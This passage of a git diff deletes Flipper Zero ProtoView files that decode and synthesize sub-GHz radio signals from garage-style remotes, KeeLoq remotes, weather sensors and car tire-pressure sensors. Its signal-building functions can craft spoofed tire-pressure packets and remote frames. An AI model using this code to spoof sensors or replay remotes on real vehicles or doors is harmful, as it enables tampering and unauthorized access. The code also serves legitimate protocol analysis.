radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) { - radio_device_loader_power_on(); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME); - subghz_devices_begin(radio_device); - } else if(current_radio_device == NULL) { - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } else { - radio_device_loader_end(current_radio_device); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } - - return radio_device; -} - -void radio_device_loader_end(const SubGhzDevice* radio_device) { - furi_assert(radio_device); - radio_device_loader_power_off(); - if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) { - subghz_devices_end(radio_device); - } -} \ No newline at end of file diff --git a/applications/external/protoview/helpers/radio_device_loader.h b/applications/external/protoview/helpers/radio_device_loader.h deleted file mode 100644 index bee4e2c36..000000000 --- a/applications/external/protoview/helpers/radio_device_loader.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include - -/** SubGhzRadioDeviceType */ -typedef enum { - SubGhzRadioDeviceTypeInternal, - SubGhzRadioDeviceTypeExternalCC1101, -} SubGhzRadioDeviceType; - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type); - -void radio_device_loader_end(const SubGhzDevice* radio_device); \ No newline at end of file diff --git a/applications/external/protoview/protocols/b4b1.c b/applications/external/protoview/protocols/b4b1.c deleted file mode 100644 index 6d0b8237a..000000000 --- a/applications/external/protoview/protocols/b4b1.c +++ /dev/null @@ -1,93 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * PT/SC remotes. Usually 443.92 Mhz OOK. - * - * This line code is used in many remotes such as Princeton chips - * named PT2262, Silian Microelectronics SC5262 and others. - * Basically every 4 pulsee represent a bit, where 1000 means 0, and - * 1110 means 1. Usually we can read 24 bits of data. - * In this specific implementation we check for a prelude that is - * 1 bit high, 31 bits low, but the check is relaxed. */ - -#include "../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - if(numbits < 30) return false; - - /* Test different pulse + gap + first byte possibilities. */ - const char* sync_patterns[6] = { - "100000000000000000000000000000011101", /* 30 times gap + one. */ - "100000000000000000000000000000010001", /* 30 times gap + zero. */ - "1000000000000000000000000000000011101", /* 31 times gap + one. */ - "1000000000000000000000000000000010001", /* 31 times gap + zero. */ - "10000000000000000000000000000000011101", /* 32 times gap + one. */ - "10000000000000000000000000000000010001", /* 32 times gap + zero. */ - }; - - uint32_t off; - int j; - for(j = 0; j < 3; j++) { - off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_patterns[j]); - if(off != BITMAP_SEEK_NOT_FOUND) break; - } - if(off == BITMAP_SEEK_NOT_FOUND) return false; - if(DEBUG_MSG) FURI_LOG_E(TAG, "B4B1 preamble id:%d at: %lu", j, off); - info->start_off = off; - - // Seek data setction. Why -5? Last 5 half-bit-times are data. - off += strlen(sync_patterns[j]) - 5; - - uint8_t d[3]; /* 24 bits of data. */ - uint32_t decoded = convert_from_line_code(d, sizeof(d), bits, numbytes, off, "1000", "1110"); - - if(DEBUG_MSG) FURI_LOG_E(TAG, "B4B1 decoded: %lu", decoded); - if(decoded < 24) return false; - - off += 24 * 4; // seek to end symbol offset to calculate the length. - off++; // In this protocol there is a final pulse as terminator. - info->pulses_count = off - info->start_off; - - fieldset_add_bytes(info->fieldset, "id", d, 5); - fieldset_add_uint(info->fieldset, "button", d[2] & 0xf, 4); - return true; -} - -/* Give fields and defaults for the signal creator. */ -static void get_fields(ProtoViewFieldSet* fieldset) { - uint8_t default_id[3] = {0xAB, 0xCD, 0xE0}; - fieldset_add_bytes(fieldset, "id", default_id, 5); - fieldset_add_uint(fieldset, "button", 1, 4); -} - -/* Create a signal. */ -static void build_message(RawSamplesBuffer* samples, ProtoViewFieldSet* fs) { - uint32_t te = 334; // Short pulse duration in microseconds. - - // Sync: 1 te pulse, 31 te gap. - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te * 31); - - // ID + button state - uint8_t data[3]; - memcpy(data, fs->fields[0]->bytes, 3); - data[2] = (data[2] & 0xF0) | (fs->fields[1]->uvalue & 0xF); - for(uint32_t j = 0; j < 24; j++) { - if(bitmap_get(data, sizeof(data), j)) { - raw_samples_add(samples, true, te * 3); - raw_samples_add(samples, false, te); - } else { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te * 3); - } - } - - // Signal terminator. Just a single short pulse. - raw_samples_add(samples, true, te); -} - -ProtoViewDecoder B4B1Decoder = { - .name = "PT/SC remote", - .decode = decode, - .get_fields = get_fields, - .build_message = build_message}; diff --git a/applications/external/protoview/protocols/keeloq.c b/applications/external/protoview/protocols/keeloq.c deleted file mode 100644 index c09cc35fc..000000000 --- a/applications/external/protoview/protocols/keeloq.c +++ /dev/null @@ -1,121 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Microchip HCS200/HCS300/HSC301 KeeLoq, rolling code remotes. - * - * Usually 443.92 Mhz OOK, ~200us or ~400us pulse len, depending - * on the configuration. - * - * Preamble: 12 pairs of alternating pulse/gap. - * Sync: long gap of around 10 times the duration of the short-pulse. - * Data: pulse width encoded data. Each bit takes three cycles: - * - * 0 = 110 - * 1 = 100 - * - * There are a total of 66 bits transmitted. - * 0..31: 32 bits of encrypted rolling code. - * 32..59: Remote ID, 28 bits - * 60..63: Buttons pressed - * 64..64: Low battery if set - * 65..65: Always set to 1 - * - * Bits in bytes are inverted: least significant bit is first. - * For some reason there is no checksum whatsoever, so we only decode - * if we find everything well formed. - */ - -#include "../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - /* In the sync pattern, we require the 12 high/low pulses and at least - * half the gap we expect (5 pulses times, one is the final zero in the - * 24 symbols high/low sequence, then other 4). */ - const char* sync_pattern = "101010101010101010101010" - "0000"; - uint8_t sync_len = 24 + 4; - if(numbits - sync_len + sync_len < 3 * 66) return false; - uint32_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - - info->start_off = off; - off += sync_len; // Seek start of message. - - /* Now there is half the gap left, but we allow from 3 to 7, instead of 5 - * symbols of gap, to avoid missing the signal for a matter of wrong - * timing. */ - uint8_t gap_len = 0; - while(gap_len <= 7 && bitmap_get(bits, numbytes, off + gap_len) == 0) gap_len++; - if(gap_len < 3 || gap_len > 7) return false; - - off += gap_len; - FURI_LOG_E(TAG, "Keeloq preamble+sync found"); - - uint8_t raw[9] = {0}; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "110", "100"); /* Pulse width modulation. */ - FURI_LOG_E(TAG, "Keeloq decoded bits: %lu", decoded); - if(decoded < 66) return false; /* Require the full 66 bits. */ - - info->pulses_count = (off + 66 * 3) - info->start_off; - - bitmap_reverse_bytes_bits(raw, sizeof(raw)); /* Keeloq is LSB first. */ - - int buttons = raw[7] >> 4; - int lowbat = (raw[8] & 0x1) == 0; // Actual bit meaning: good battery level - int alwaysone = (raw[8] & 0x2) != 0; - - fieldset_add_bytes(info->fieldset, "encr", raw, 8); - raw[7] = raw[7] << 4; // Make ID bits contiguous - fieldset_add_bytes(info->fieldset, "id", raw + 4, 7); // 28 bits, 7 nibbles - fieldset_add_bin(info->fieldset, "s[2,1,0,3]", buttons, 4); - fieldset_add_bin(info->fieldset, "low battery", lowbat, 1); - fieldset_add_bin(info->fieldset, "always one", alwaysone, 1); - return true; -} - -static void get_fields(ProtoViewFieldSet* fieldset) { - uint8_t remote_id[4] = {0xab, 0xcd, 0xef, 0xa0}; - uint8_t encr[4] = {0xab, 0xab, 0xab, 0xab}; - fieldset_add_bytes(fieldset, "encr", encr, 8); - fieldset_add_bytes(fieldset, "id", remote_id, 7); - fieldset_add_bin(fieldset, "s[2,1,0,3]", 2, 4); - fieldset_add_bin(fieldset, "low battery", 0, 1); - fieldset_add_bin(fieldset, "always one", 1, 1); -} - -static void build_message(RawSamplesBuffer* samples, ProtoViewFieldSet* fieldset) { - uint32_t te = 380; // Short pulse duration in microseconds. - - // Sync: 12 pairs of pulse/gap + 9 times gap - for(int j = 0; j < 12; j++) { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te); - } - raw_samples_add(samples, false, te * 9); - - // Data, 66 bits. - uint8_t data[9] = {0}; - memcpy(data, fieldset->fields[0]->bytes, 4); // Encrypted part. - memcpy(data + 4, fieldset->fields[1]->bytes, 4); // ID. - data[7] = data[7] >> 4 | fieldset->fields[2]->uvalue << 4; // s[2,1,0,3] - int low_battery = fieldset->fields[3] != 0; - int always_one = fieldset->fields[4] != 0; - low_battery = !low_battery; // Bit real meaning is good battery level. - data[8] |= low_battery; - data[8] |= (always_one << 1); - bitmap_reverse_bytes_bits(data, sizeof(data)); /* Keeloq is LSB first. */ - - for(int j = 0; j < 66; j++) { - if(bitmap_get(data, 9, j)) { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te * 2); - } else { - raw_samples_add(samples, true, te * 2); - raw_samples_add(samples, false, te); - } - } -} - -ProtoViewDecoder KeeloqDecoder = - {.name = "Keeloq", .decode = decode, .get_fields = get_fields, .build_message = build_message}; diff --git a/applications/external/protoview/protocols/oregon2.c b/applications/external/protoview/protocols/oregon2.c deleted file mode 100644 index f7b123deb..000000000 --- a/applications/external/protoview/protocols/oregon2.c +++ /dev/null @@ -1,84 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Oregon remote termometers. Usually 443.92 Mhz OOK. - * - * The protocol is described here: - * https://wmrx00.sourceforge.net/Arduino/OregonScientific-RF-Protocols.pdf - * This implementation is not very complete. */ - -#include "../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - if(numbits < 32) return false; - const char* sync_pattern = "01100110" - "01100110" - "10010110" - "10010110"; - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Oregon2 preamble+sync found"); - - info->start_off = off; - off += 32; /* Skip preamble. */ - - uint8_t buffer[8], raw[8] = {0}; - uint32_t decoded = - convert_from_line_code(buffer, sizeof(buffer), bits, numbytes, off, "1001", "0110"); - FURI_LOG_E(TAG, "Oregon2 decoded bits: %lu", decoded); - - if(decoded < 11 * 4) return false; /* Minimum len to extract some data. */ - info->pulses_count = (off + 11 * 4 * 4) - info->start_off; - - char temp[3] = {0}, hum[2] = {0}; - uint8_t deviceid[2]; - for(int j = 0; j < 64; j += 4) { - uint8_t nib[1]; - nib[0] = - (bitmap_get(buffer, 8, j + 0) | bitmap_get(buffer, 8, j + 1) << 1 | - bitmap_get(buffer, 8, j + 2) << 2 | bitmap_get(buffer, 8, j + 3) << 3); - if(DEBUG_MSG) FURI_LOG_E(TAG, "Not inverted nibble[%d]: %x", j / 4, (unsigned int)nib[0]); - raw[j / 8] |= nib[0] << (4 - (j % 4)); - switch(j / 4) { - case 1: - deviceid[0] |= nib[0]; - break; - case 0: - deviceid[0] |= nib[0] << 4; - break; - case 3: - deviceid[1] |= nib[0]; - break; - case 2: - deviceid[1] |= nib[0] << 4; - break; - case 10: - temp[0] = nib[0]; - break; - /* Fixme: take the temperature sign from nibble 11. */ - case 9: - temp[1] = nib[0]; - break; - case 8: - temp[2] = nib[0]; - break; - case 13: - hum[0] = nib[0]; - break; - case 12: - hum[1] = nib[0]; - break; - } - } - - float tempval = ((temp[0] - '0') * 10) + (temp[1] - '0') + ((float)(temp[2] - '0') * 0.1); - int humval = (hum[0] - '0') * 10 + (hum[1] - '0'); - - fieldset_add_bytes(info->fieldset, "Sensor ID", deviceid, 4); - fieldset_add_float(info->fieldset, "Temperature", tempval, 1); - fieldset_add_uint(info->fieldset, "Humidity", humval, 7); - return true; -} - -ProtoViewDecoder Oregon2Decoder = - {.name = "Oregon2", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/pvchat.c b/applications/external/protoview/protocols/pvchat.c deleted file mode 100644 index 779248c5b..000000000 --- a/applications/external/protoview/protocols/pvchat.c +++ /dev/null @@ -1,205 +0,0 @@ -#include "../app.h" - -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * ---------------------------------------------------------- - * ProtoView chat protocol. This is just a fun test protocol - * that can be used between two Flippers in order to send - * and receive text messages. - * ---------------------------------------------------------- - * - * Protocol description - * ==================== - * - * The protocol works with different data rates. However here is defined - * to use a short pulse/gap duration of 300us and a long pulse/gap - * duration of 600us. Even with the Flipper hardware, the protocol works - * with 100/200us, but becomes less reliable and standard presets can't - * be used because of the higher data rate. - * - * In the following description we have that: - * - * "1" represents a pulse of one-third bit time (300us) - * "0" represents a gap of one-third bit time (300us) - * - * The message starts with a preamble + a sync pattern: - * - * preamble = 1010101010101010 x 3 - * sync = 1100110011001010 - * - * The a variable amount of bytes follow, where each bit - * is encoded in the following way: - * - * zero 100 (300 us pulse, 600 us gap) - * one 110 (600 us pulse, 300 us gap) - * - * Bytes are sent MSB first, so receiving, in sequence, bits - * 11100001, means byte E1. - * - * This is the data format: - * - * +--+------+-------+--+--+--+ - * |SL|Sender|Message|FF|AA|CS| - * +--+------+-------+--+--+--+ - * | | | - * | | \_ N bytes of message terminated by FF AA + 1 byte of checksum - * | | - * | \_ SL bytes of sender name - * \ - * \_ 1 byte of sender len, 8 bit unsigned integer. - * - * - * Checksum = sum of bytes modulo 256, with checksum set - * to 0 for the computation. - * - * Design notes - * ============ - * - * The protocol is designed in order to have certain properties: - * - * 1. Pulses and gaps can only be 100 or 200 microseconds, so the - * message can be described, encoded and decoded with only two - * fixed durations. - * - * 2. The preamble + sync is designed to have a well recognizable - * pattern that can't be reproduced just for accident inside - * the encoded pattern. There is no combinatio of encoded bits - * leading to the preamble+sync. Also the sync pattern final - * part can't be mistaken for actual bits of data, since it - * contains alternating short pulses/gaps at 100us. - * - * 3. Data encoding wastes some bandwidth in order to be more - * robust. Even so, with a 300us clock period, a single bit - * bit takes 900us, reaching a data transfer of 138 characters per - * second. More than enough for the simple chat we have here. - */ - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - const char* sync_pattern = "1010101010101010" // Preamble - "1100110011001010"; // Sync - uint8_t sync_len = 32; - - /* This is a variable length message, however the minimum length - * requires a sender len byte (of value zero) and the terminator - * FF 00 plus checksum: a total of 4 bytes. */ - if(numbits - sync_len < 8 * 4) return false; - - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Chat preamble+sync found"); - - /* If there is room on the left, let's mark the start of the message - * a bit before: we don't try to detect all the preamble, but only - * the first part, however it is likely present. */ - if(off >= 16) { - off -= 16; - sync_len += 16; - } - - info->start_off = off; - off += sync_len; /* Skip preamble and sync. */ - - uint8_t raw[64] = {(uint8_t)'.'}; - uint32_t decoded = - convert_from_line_code(raw, sizeof(raw), bits, numbytes, off, "100", "110"); /* PWM */ - FURI_LOG_E(TAG, "Chat decoded bits: %lu", decoded); - - if(decoded < 8 * 4) return false; /* Min message len. */ - - // The message needs to have a two bytes terminator before - // the checksum. - uint32_t j; - for(j = 0; j < sizeof(raw) - 1; j++) - if(raw[j] == 0xff && raw[j + 1] == 0xaa) break; - - if(j == sizeof(raw) - 1) { - FURI_LOG_E(TAG, "Chat: terminator not found"); - return false; // No terminator found. - } - - uint32_t datalen = j + 3; // If the terminator was found at j, then - // we need to sum three more bytes to have - // the len: FF itself, AA, checksum. - info->pulses_count = sync_len + 8 * 3 * datalen; - - // Check if the control sum matches. - if(sum_bytes(raw, datalen - 1, 0) != raw[datalen - 1]) { - FURI_LOG_E(TAG, "Chat: checksum mismatch"); - return false; - } - - // Check if the length of the sender looks sane - uint8_t senderlen = raw[0]; - if(senderlen >= sizeof(raw)) { - FURI_LOG_E(TAG, "Chat: invalid sender length"); - return false; // Overflow - } - - fieldset_add_str(info->fieldset, "sender", (char*)raw + 1, senderlen); - fieldset_add_str( - info->fieldset, "message", (char*)raw + 1 + senderlen, datalen - senderlen - 4); - return true; -} - -/* Give fields and defaults for the signal creator. */ -static void get_fields(ProtoViewFieldSet* fieldset) { - fieldset_add_str(fieldset, "sender", "Carol", 5); - fieldset_add_str(fieldset, "message", "Anyone hearing?", 15); -} - -/* Create a signal. */ -static void build_message(RawSamplesBuffer* samples, ProtoViewFieldSet* fs) { - uint32_t te = 300; /* Short pulse duration in microseconds. - Our protocol needs three symbol times to send - a bit, so 300 us per bit = 3.33 kBaud. */ - - // Preamble: 24 alternating 300us pulse/gap pairs. - for(int j = 0; j < 24; j++) { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te); - } - - // Sync: 3 alternating 600 us pulse/gap pairs. - for(int j = 0; j < 3; j++) { - raw_samples_add(samples, true, te * 2); - raw_samples_add(samples, false, te * 2); - } - - // Sync: plus 2 alternating 300 us pluse/gap pairs. - for(int j = 0; j < 2; j++) { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te); - } - - // Data: build the array. - uint32_t datalen = 1 + fs->fields[0]->len + // Userlen + Username - fs->fields[1]->len + 3; // Message + FF + 00 + CRC - uint8_t *data = malloc(datalen), *p = data; - *p++ = fs->fields[0]->len; - memcpy(p, fs->fields[0]->str, fs->fields[0]->len); - p += fs->fields[0]->len; - memcpy(p, fs->fields[1]->str, fs->fields[1]->len); - p += fs->fields[1]->len; - *p++ = 0xff; - *p++ = 0xaa; - *p = sum_bytes(data, datalen - 1, 0); - - // Emit bits - for(uint32_t j = 0; j < datalen * 8; j++) { - if(bitmap_get(data, datalen, j)) { - raw_samples_add(samples, true, te * 2); - raw_samples_add(samples, false, te); - } else { - raw_samples_add(samples, true, te); - raw_samples_add(samples, false, te * 2); - } - } - free(data); -} - -ProtoViewDecoder ProtoViewChatDecoder = { - .name = "ProtoView chat", - .decode = decode, - .get_fields = get_fields, - .build_message = build_message}; diff --git a/applications/external/protoview/protocols/tpms/citroen.c b/applications/external/protoview/protocols/tpms/citroen.c deleted file mode 100644 index a86e5f7d6..000000000 --- a/applications/external/protoview/protocols/tpms/citroen.c +++ /dev/null @@ -1,58 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Citroen TPMS. Usually 443.92 Mhz FSK. - * - * Preamble of ~14 high/low 52 us pulses - * Sync of high 100us pulse then 50us low - * Then Manchester bits, 10 bytes total. - * Simple XOR checksum. */ - -#include "../../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - /* We consider a preamble of 17 symbols. They are more, but the decoding - * is more likely to happen if we don't pretend to receive from the - * very start of the message. */ - uint32_t sync_len = 17; - const char* sync_pattern = "10101010101010110"; - if(numbits - sync_len < 8 * 10) return false; /* Expect 10 bytes. */ - - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Renault TPMS preamble+sync found"); - - info->start_off = off; - off += sync_len; /* Skip preamble + sync. */ - - uint8_t raw[10]; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "01", "10"); /* Manchester. */ - FURI_LOG_E(TAG, "Citroen TPMS decoded bits: %lu", decoded); - - if(decoded < 8 * 10) return false; /* Require the full 10 bytes. */ - - /* Check the CRC. It's a simple XOR of bytes 1-9, the first byte - * is not included. The meaning of the first byte is unknown and - * we don't display it. */ - uint8_t crc = 0; - for(int j = 1; j < 10; j++) crc ^= raw[j]; - if(crc != 0) return false; /* Require sane checksum. */ - - info->pulses_count = (off + 8 * 10 * 2) - info->start_off; - - int repeat = raw[5] & 0xf; - float kpa = (float)raw[6] * 1.364; - int temp = raw[7] - 50; - int battery = raw[8]; /* This may be the battery. It's not clear. */ - - fieldset_add_bytes(info->fieldset, "Tire ID", raw + 1, 4 * 2); - fieldset_add_float(info->fieldset, "Pressure kpa", kpa, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp, 8); - fieldset_add_uint(info->fieldset, "Repeat", repeat, 4); - fieldset_add_uint(info->fieldset, "Battery", battery, 8); - return true; -} - -ProtoViewDecoder CitroenTPMSDecoder = - {.name = "Citroen TPMS", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/tpms/ford.c b/applications/external/protoview/protocols/tpms/ford.c deleted file mode 100644 index 066332590..000000000 --- a/applications/external/protoview/protocols/tpms/ford.c +++ /dev/null @@ -1,61 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Ford tires TPMS. Usually 443.92 Mhz FSK (in Europe). - * - * 52 us short pules - * Preamble: 0101010101010101010101010101 - * Sync: 0110 (that is 52 us gap + 104 us pulse + 52 us gap) - * Data: 8 bytes Manchester encoded - * 01 = zero - * 10 = one - */ - -#include "../../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - const char* sync_pattern = "010101010101" - "0110"; - uint8_t sync_len = 12 + 4; /* We just use 12 preamble symbols + sync. */ - if(numbits - sync_len < 8 * 8) return false; - - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Fort TPMS preamble+sync found"); - - info->start_off = off; - off += sync_len; /* Skip preamble and sync. */ - - uint8_t raw[8]; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "01", "10"); /* Manchester. */ - FURI_LOG_E(TAG, "Ford TPMS decoded bits: %lu", decoded); - - if(decoded < 8 * 8) return false; /* Require the full 8 bytes. */ - - /* CRC is just the sum of the first 7 bytes MOD 256. */ - uint8_t crc = 0; - for(int j = 0; j < 7; j++) crc += raw[j]; - if(crc != raw[7]) return false; /* Require sane CRC. */ - - info->pulses_count = (off + 8 * 8 * 2) - info->start_off; - - float psi = 0.25 * (((raw[6] & 0x20) << 3) | raw[4]); - - /* Temperature apperas to be valid only if the most significant - * bit of the value is not set. Otherwise its meaning is unknown. - * Likely useful to alternatively send temperature or other info. */ - int temp = raw[5] & 0x80 ? 0 : raw[5] - 56; - int flags = raw[5] & 0x7f; - int car_moving = (raw[6] & 0x44) == 0x44; - - fieldset_add_bytes(info->fieldset, "Tire ID", raw, 4 * 2); - fieldset_add_float(info->fieldset, "Pressure psi", psi, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp, 8); - fieldset_add_hex(info->fieldset, "Flags", flags, 7); - fieldset_add_uint(info->fieldset, "Moving", car_moving, 1); - return true; -} - -ProtoViewDecoder FordTPMSDecoder = - {.name = "Ford TPMS", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/tpms/renault.c b/applications/external/protoview/protocols/tpms/renault.c deleted file mode 100644 index 0755a515f..000000000 --- a/applications/external/protoview/protocols/tpms/renault.c +++ /dev/null @@ -1,119 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Renault tires TPMS. Usually 443.92 Mhz FSK. - * - * Preamble + sync + Manchester bits. ~48us short pulse. - * 9 Bytes in total not counting the preamble. */ - -#include "../../app.h" - -#define USE_TEST_VECTOR 0 -static const char* test_vector = - "...01010101010101010110" // Preamble + sync - - /* The following is Marshal encoded, so each two characters are - * actaully one bit. 01 = 0, 10 = 1. */ - "010110010110" // Flags. - "10011001101010011001" // Pressure, multiply by 0.75 to obtain kpa. - // 244 kpa here. - "1010010110011010" // Temperature, subtract 30 to obtain celsius. 22C here. - "1001010101101001" - "0101100110010101" - "1001010101100110" // Tire ID. 0x7AD779 here. - "0101010101010101" - "0101010101010101" // Two FF bytes (usually). Unknown. - "0110010101010101"; // CRC8 with (poly 7, initialization 0). - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - if(USE_TEST_VECTOR) { /* Test vector to check that decoding works. */ - bitmap_set_pattern(bits, numbytes, 0, test_vector); - numbits = strlen(test_vector); - } - - if(numbits - 12 < 9 * 8) return false; - - const char* sync_pattern = "01010101010101010110"; - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Renault TPMS preamble+sync found"); - - info->start_off = off; - off += 20; /* Skip preamble. */ - - uint8_t raw[9]; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "01", "10"); /* Manchester. */ - FURI_LOG_E(TAG, "Renault TPMS decoded bits: %lu", decoded); - - if(decoded < 8 * 9) return false; /* Require the full 9 bytes. */ - if(crc8(raw, 8, 0, 7) != raw[8]) return false; /* Require sane CRC. */ - - info->pulses_count = (off + 8 * 9 * 2) - info->start_off; - - uint8_t flags = raw[0] >> 2; - float kpa = 0.75 * ((uint32_t)((raw[0] & 3) << 8) | raw[1]); - int temp = raw[2] - 30; - - fieldset_add_bytes(info->fieldset, "Tire ID", raw + 3, 3 * 2); - fieldset_add_float(info->fieldset, "Pressure kpa", kpa, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp, 8); - fieldset_add_hex(info->fieldset, "Flags", flags, 6); - fieldset_add_bytes(info->fieldset, "Unknown1", raw + 6, 2); - fieldset_add_bytes(info->fieldset, "Unknown2", raw + 7, 2); - return true; -} - -/* Give fields and defaults for the signal creator. */ -static void get_fields(ProtoViewFieldSet* fieldset) { - uint8_t default_id[3] = {0xAB, 0xCD, 0xEF}; - fieldset_add_bytes(fieldset, "Tire ID", default_id, 3 * 2); - fieldset_add_float(fieldset, "Pressure kpa", 123, 2); - fieldset_add_int(fieldset, "Temperature C", 20, 8); - // We don't know what flags are, but 1B is a common value. - fieldset_add_hex(fieldset, "Flags", 0x1b, 6); - fieldset_add_bytes(fieldset, "Unknown1", (uint8_t*)"\xff", 2); - fieldset_add_bytes(fieldset, "Unknown2", (uint8_t*)"\xff", 2); -} - -/* Create a Renault TPMS signal, according to the fields provided. */ -static void build_message(RawSamplesBuffer* samples, ProtoViewFieldSet* fieldset) { - uint32_t te = 50; // Short pulse duration in microseconds. - - // Preamble + sync - const char* psync = "01010101010101010101010101010110"; - const char* p = psync; - while(*p) { - raw_samples_add_or_update(samples, *p == '1', te); - p++; - } - - // Data, 9 bytes - uint8_t data[9] = {0}; - unsigned int raw_pressure = fieldset->fields[1]->fvalue * 4 / 3; - data[0] = fieldset->fields[3]->uvalue << 2; // Flags - data[0] |= (raw_pressure >> 8) & 3; // Pressure kpa high 2 bits - data[1] = raw_pressure & 0xff; // Pressure kpa low 8 bits - data[2] = fieldset->fields[2]->value + 30; // Temperature C - memcpy(data + 3, fieldset->fields[0]->bytes, 6); // ID, 24 bits. - data[6] = fieldset->fields[4]->bytes[0]; // Unknown 1 - data[7] = fieldset->fields[5]->bytes[0]; // Unknown 2 - data[8] = crc8(data, 8, 0, 7); - - // Generate Manchester code for each bit - for(uint32_t j = 0; j < 9 * 8; j++) { - if(bitmap_get(data, sizeof(data), j)) { - raw_samples_add_or_update(samples, true, te); - raw_samples_add_or_update(samples, false, te); - } else { - raw_samples_add_or_update(samples, false, te); - raw_samples_add_or_update(samples, true, te); - } - } -} - -ProtoViewDecoder RenaultTPMSDecoder = { - .name = "Renault TPMS", - .decode = decode, - .get_fields = get_fields, - .build_message = build_message}; diff --git a/applications/external/protoview/protocols/tpms/schrader.c b/applications/external/protoview/protocols/tpms/schrader.c deleted file mode 100644 index 2b53d313c..000000000 --- a/applications/external/protoview/protocols/tpms/schrader.c +++ /dev/null @@ -1,70 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Schrader TPMS. Usually 443.92 Mhz OOK, 120us pulse len. - * - * 500us high pulse + Preamble + Manchester coded bits where: - * 1 = 10 - * 0 = 01 - * - * 60 bits of data total (first 4 nibbles is the preamble, 0xF). - * - * Used in FIAT-Chrysler, Mercedes, ... */ - -#include "../../app.h" - -#define USE_TEST_VECTOR 0 -static const char* test_vector = - "000000111101010101011010010110010110101001010110100110011001100101010101011010100110100110011010101010101010101010101010101010101010101010101010"; - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - if(USE_TEST_VECTOR) { /* Test vector to check that decoding works. */ - bitmap_set_pattern(bits, numbytes, 0, test_vector); - numbits = strlen(test_vector); - } - - if(numbits < 64) return false; /* Preamble + data. */ - - const char* sync_pattern = "1111010101" - "01011010"; - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Schrader TPMS gap+preamble found"); - - info->start_off = off; - off += 10; /* Skip just the long pulse and the first 3 bits of sync, so - that we have the first byte of data with the sync nibble - 0011 = 0x3. */ - - uint8_t raw[8]; - uint8_t id[4]; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "01", "10"); /* Manchester code. */ - 